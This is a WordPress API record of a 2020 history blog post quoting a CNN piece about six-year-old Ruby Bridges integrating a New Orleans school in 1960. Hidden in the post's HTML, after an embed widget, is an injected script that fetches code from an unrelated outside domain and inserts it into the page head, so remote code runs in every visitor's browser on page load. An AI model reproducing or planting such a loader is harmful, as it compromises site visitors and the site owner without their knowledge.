{"id":1010,"date":"2020-11-15T23:59:27","date_gmt":"2020-11-15T23:59:27","guid":{"rendered":"https:\/\/historynet.net\/?p=1010"},"modified":"2020-11-15T23:59:27","modified_gmt":"2020-11-15T23:59:27","slug":"cnn-60-years-ago-today-6-year-old-ruby-bridges-walked-to-school-and-showed-how-even-first-graders-can-be-trailblazers","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2020\/11\/15\/cnn-60-years-ago-today-6-year-old-ruby-bridges-walked-to-school-and-showed-how-even-first-graders-can-be-trailblazers\/","title":{"rendered":"CNN: 60 years ago, 6-year-old Ruby Bridges walked to school and showed how even first graders can be trailblazers"},"content":{"rendered":"<blockquote><p>&#8220;For me, being 6 years old, I really wasn&#8217;t aware of what was going on,&#8221; Bridges, now 66,\u00a0<a href=\"http:\/\/npr.org\/2010\/12\/01\/131727013\/Wisdom-From-A-Trailblazer-Ruby-Bridges-Talks-Racism-In-Education\" target=\"_blank\" rel=\"noopener noreferrer\">told NPR in 2010<\/a>. &#8220;I mean the only thing that I was ever told by my parents that I was going to attend a new school and that I should behave.&#8221;<\/p>\n<hr \/>\n<p>&nbsp;<\/p><\/blockquote>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.cnn.com\/2020\/11\/14\/us\/ruby-bridges-desegregation-60-years-trnd\/index.html\">60 years ago today, 6-year-old Ruby Bridges walked to school and showed how even first graders can be trailblazers<\/a><\/h4>\n<p>Sixty years ago, Ruby Bridges walked to school escorted by four federal marshals as a White mob hurled insults at her.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8220;For me, being 6 years old, I really wasn&#8217;t aware of what was going on,&#8221; Bridges, now 66,\u00a0told NPR in 2010. &#8220;I mean the only thing that I was ever told by my parents that I was going to attend a new school and that I should behave.&#8221; &nbsp; 60 years ago today, 6-year-old Ruby [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6262,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-1010","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/1010","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=1010"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/1010\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=1010"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=1010"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=1010"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}